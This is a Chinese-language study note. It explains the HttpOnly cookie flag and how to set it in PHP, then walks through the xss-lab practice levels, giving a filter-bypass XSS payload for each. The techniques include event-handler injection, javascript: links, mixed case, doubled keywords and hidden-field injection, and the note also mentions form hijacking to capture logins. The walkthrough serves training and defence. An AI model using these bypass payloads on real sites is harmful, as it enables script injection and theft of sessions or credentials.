HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话)
下面的例子展示了如何设置Set-Cookie 返回头的语法
Set-Cookie: =[; =]
[; expires=][; domain=
[; path=
如果HTTP响应标头中包含HttpOnly标志(可选),客户端脚本将无法访问cookie(如果浏览器支持该标志的话)。因此即使客户端存在跨站点脚本(XSS)漏洞,浏览器也不会将Cookie透露给第三方。
如果浏览器不支持HttpOnly,并且后端服务器尝试设置HttpOnly cookie,浏览器也会忽略HttpOnly标志,从而创建传统的,脚本可访问的cookie。那么该cookie(通常是会话cookie)容易受到XSS攻击
作用:使用HttpOnly缓解最常见的XSS攻击
大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题,这表明该cookie在客户端上不可访问。
如果支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。
PHP中的设置
PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中
session.cookie_httponly =
设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:
<?php
ini_set("session.cookie_httponly", 1);
// or
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
?>
Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:
<?php
header("Set-Cookie: hidden=value; httpOnly");
?>
httponly仅仅阻止盗取cookie
登陆后台方式:
1.cookie
2.账号密码登录
保存读取
浏览器记录
读取用户浏览器即可
未保存读取
用户自己输入 -表单劫持
要求-登录框
代码写入登录页面
用户将发出两个数据包一个是xss跨站平台 一个是服务器
xss-lab
其中<和>都被编码成了html字符实体。
只需要将属性的引号和标签先闭合就可以了。
将keyword的参数值重新赋值">//
左边的">去闭合原先的"
右边的//去注释原先的">
level3
通过标签的一些特殊事件来执行js代码
构造代码:level3.php?keyword='onfocus=javascript:alert('xss') > //
level4
<和>没有了
事件触发却不需要使用这两个符号。
用上一关的代码:"onfocus=javascript:alert('xss')"
level5
on后面加了关键字
使用超链接
"> <a href=javascript:alert('xss') > xss</a> //
大小写混写
"> <a HrEf=javascript:alert('xss') > xss</a> //
level7
无循环过滤
双写关键字
"oonnfocus=javascriscriptpt:alert('xss')>//
level8
提交的参数值一个会插入到标签的value属性值中,
一个会插入到下方标签的href属性值中。
测试服务器对客户端的处理
将要提交的js代码进行编码
level9
提交的参数值插入到了标签的value属性值中
但是在标签的href属性中却并没有出现该参数值,
而是显示的 "您的链接不合法?有没有!"这样的字符串。
猜测这里可能对url地址做了匹配。
只有包含正常的url地址才能添加到href属性值中
构造一个有正常url地址的恶意代码:
?keyword=javascript:alert('xss')http://www.baidu.com
关键字编码
level10
在源码中有一个隐藏的表单。
其中含有t_link t_history t_sort这样三个隐藏的标签
构造
?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
从页面响应来看,有一个标签的状态可以被改变。这个标签就是名
为t_sort的标签,之前都是隐藏状态,但是通过构造参数响应发现只
有它里面的值被改变了。
因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。
构造如下代码:
?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert('xss')
将js代码插入到标签的属性值中来执
行而不能通过闭合标签引入新的标签来触发xss